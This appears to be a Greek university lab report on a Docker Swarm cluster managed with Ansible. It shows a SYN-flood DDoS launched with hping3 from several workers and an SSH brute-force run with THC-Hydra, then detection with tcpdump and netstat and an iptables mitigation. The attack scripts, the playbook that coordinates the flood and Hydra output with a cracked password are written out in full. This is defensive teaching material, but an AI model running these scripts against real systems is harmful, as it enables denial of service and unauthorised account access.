1. Περιγραφή και Προετοιμασία του Συστήματος
+1.1. Προαπαιτούμενα
+Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του Docker καθώς και εγκατάσταση Σμήνους σύμφωνα με τις οδηγίες του εργαστηρίου.
+1.2. Αρχιτεκτονική Συστήματος
+-
+
-
+
Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα +χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών
+
+ -
+
Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος
+
+
1.3. Script Προετοιμασίας Συστήματος
+Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh).
+#!/bin/bash + +# must run with sudo!!! +sysctl -w net.ipv4.tcp_syncookies=0 + +apt-get update +apt-get install ansible -y +apt-get install sshpass -y +sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg +rm temp + +network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) +network="$network.*" +echo "[workers]" > inventory +nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory + +master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}') +echo -e "\n[all_hosts]" >> inventory +echo $master >> inventory +nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory+
Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα:
+-
+
-
+
Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack
+
+ -
+
Ενημερώνει την λίστα πακέτων του συστήματος
+
+ -
+
Εγκαθιστεί το εργαλείο ansible
+
+ -
+
Εγκαθιστεί το εργαλείο sshpass
+
+ -
+
Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible
+
+ -
+
Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους +ενώ η δεύτερη απευθύνεται σε όλους τους hosts
+
+
1.4. Αυτοματοποιημένες Διαδικασίες
+Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script
+#!/bin/bash + +echo "Choose a playbook to execute" +echo "1. Transfer scripts to workers" +echo "2. Install hping3 on workers" +echo "3. Start DDoS Attack" +echo "4. Stop DDoS Attack" +echo "5. Configure ssh on workers" +echo "6. Install openvpn on all hosts" +echo "7. Connect every host to VPN" +echo -e "\nEnter your option: " +read answer + +case $answer in + + 1) + ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass + ;; + + 2) + ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass + ;; + + 3) + ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass + ;; + + 4) + ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass + ;; + + 5) + ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass + ;; + + 6) + ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass + ;; + + 7) + ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass + ;; + + *) + echo "invalid option" + ;; +esac+
Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια.
+1.5. Μεταφορά Scripts στους workers
+Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml.
+--- +- name: Transfer scripts to workers + hosts: workers + become: true + become_user: root + + tasks: + - name: Transferring script curl.sh + copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777 + + - name: Transferring script start_ddos.sh + copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777 + + - name: Transferring script stop_ddos.sh + copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777 + + - name: Transferring script detect_ssh_brute_force.sh + copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777 + + - name: Transferring script block_ssh_brute_force.sh + copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777 + + - name: Transferring script configure_ssh.sh + copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777 + + - name: Transferring script start_local_ssh_forwarding.sh + copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777+
Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια.
+2. DDoS Attack
+2.1. Έναρξη Λειτουργίας HTTP Server
+Εκτελούμε το script start_server.sh στον master κόμβο.
+#!/bin/bash + +cd myserver +python -m SimpleHTTPServer 8000 &+
Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html
+2.2. Παράδειγμα HTTP Request
+Εκτελούμε το script curl.sh στον worker_1.
+#!/bin/bash + +network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) +network="$network.*" +target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) +curl http://$target:8000+
Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html.
+<!DOCTYPE html> +<html> +<body> + +<h1>*Beep boop* the server is up and running</h1> + +</body> +</html>+
2.3. Εγκατάσταση Εργαλείου hping3 στους workers
+Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml.
+--- +- name: Install hping3 on workers + hosts: workers + become: true + become_user: root + + tasks: + - name: Installing hping3 + apt: + name: hping3 + state: present+
2.4. Εκτέλεση DDoS Attack
+Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh
+#!/bin/bash + +network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) +network="$network.*" +target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) +nohup hping3 -S -p 8000 --rand-source --fast $target &+
Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3:
+-
+
-
+
nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο
+
+ -
+
-S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο
+
+ -
+
-p 8000: Η πόρτα προορισμού θα είναι η 8000
+
+ -
+
--rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα
+
+ -
+
--fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό
+
+
Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake. +Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.
+Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml.
+--- +- name: Start DDoS + hosts: workers + become: true + become_user: root + + tasks: + - name: Starting DDoS Attack + command: sh /home/docker/start_ddos.sh+
Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη +συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται.
+2.5. Ανίχνευση DDoS Attack
+Μεταβαίνουμε στον master κόμβο και εκτελούμε την εντολή sudo tcpdump port 8000 ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server.
+tcpdump: verbose output suppressed, use -v or -vv for full protocol decode +listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes +19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0 +19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0 +19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0 +19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 +19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0 +19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 +19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 +19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0 +19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0 +19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0 +19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0 +19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0 +19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0+
Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο. +Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack.
+Στην συνέχεια εκτελούμε την εντολή netstat -tn | grep 8000
+tcp 0 0 172.19.0.2:8000 174.77.115.169:10162 SYN_RECV +tcp 0 0 172.19.0.2:8000 89.231.77.26:10134 SYN_RECV +tcp 0 0 172.19.0.2:8000 245.71.230.254:10182 SYN_RECV +tcp 0 0 172.19.0.2:8000 167.54.0.48:10146 SYN_RECV +tcp 0 0 172.19.0.2:8000 0.72.239.96:10203 SYN_RECV +tcp 0 0 172.19.0.2:8000 212.218.200.50:10345 SYN_RECV +tcp 0 0 172.19.0.2:8000 54.48.41.221:10325 SYN_RECV +tcp 0 0 172.19.0.2:8000 154.69.94.37:10290 SYN_RECV+
Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake.
+2.6. Αντιμετώπιση DDoS Attack
+Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3.
+16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0 + +16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0+
Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να +φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο.
+#!/bin/bash + +# must run with sudo!!! + +sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP+
Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν:
+-
+
-
+
Το πακέτο εισέρχεται στο σύστημα
+
+ -
+
Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP
+
+ -
+
Η πόρτα προορισμού είναι η 8000
+
+ -
+
Το SYN bit είναι ενεργοποιημένο
+
+ -
+
Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss)
+
+ -
+
Τότε το πακέτο απορρίπτεται
+
+
Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html +επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία.
+Εκτελούμε την εντολή sudo iptables --list για την εμφάνιση του κανόνα που προστέθηκε μέσω του script
+Chain INPUT (policy ACCEPT) +target prot opt source destination +DROP tcp -- anywhere anywhere tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535 + +Chain FORWARD (policy ACCEPT) +target prot opt source destination + +Chain OUTPUT (policy ACCEPT) +target prot opt source destination+
3. SSH Bruce Force Attack
+3.1. Εγκατάσταση Εργαλείου THC-Hydra
+Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο HTC-Hydra στον master κόμβο με την εντολή sudo apt-get install hydra. Σε αυτό το σενάριο ο master θα αποτελέσει τον +επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης.
+3.2. Εκτέλεση SSH Bruce Force Attack
+Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς. Στη συνέχεια εκτελούμε το script ssh_brute_force.sh.
+#!/bin/bash + +network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) +network="$network.*" +target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) +hydra -l docker -P password_list.txt $target ssh+
Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές:
+-
+
-
+
-l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker"
+
+ -
+
-P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt
+
+
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. + +Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32 +[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 +[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task +[DATA] attacking ssh://172.19.0.3:22/ +[22][ssh] host: 172.19.0.3 login: docker password: docker +1 of 1 target successfully completed, 1 valid password found +[WARNING] Writing restore file because 5 final worker threads did not complete until end. +[ERROR] 5 targets did not resolve or could not be connected +[ERROR] 16 targets did not complete +Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59+
3.3. Ανίχνευση SSH Bruce Force Attack
+Για την ανίχνευση του SSH Bruce Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh
+#!/bin/bash + +echo "Starting scan for SSH Brute Force Attacks" +while [ 1 ] +do + count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l) + if [ $count -gt 20 ] + then + attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1) + echo "SSH Bruce Force Attack detected!!!" + echo "$attacker made $count SSH connections at the same time" + + echo -e + echo "Data collected:" + netstat -tn + break + fi + sleep 1 +done+
Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής netstat -tn και όταν ο αριθμός συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι πάνω από 20 +σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση.
+Starting scan for SSH Brute Force Attacks +SSH Bruce Force Attack detected!!! +172.19.0.2 made 22 SSH connections at the same time + +Data collected: +Active Internet connections (w/o servers) +Proto Recv-Q Send-Q Local Address Foreign Address State +tcp 0 0 172.19.0.3:22 172.19.0.2:34536 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34476 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34532 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34500 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34454 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34510 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34508 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34518 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34516 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34506 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34502 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34474 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34524 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:51128 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34448 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34520 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34514 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34504 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34528 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34470 TIME_WAIT +tcp 0 0 172.19.0.3:22 172.19.0.2:34526 ESTABLISHED +tcp 0 0 172.19.0.3:22 172.19.0.2:34512 ESTABLISHED+
3.4. Αντιμετώπιση SSH Bruce Force Attack
+3.5. Τροποποίηση ssh-server στους workers
+4. SSH Tunelling
+todo
+5. VPN
+todo
+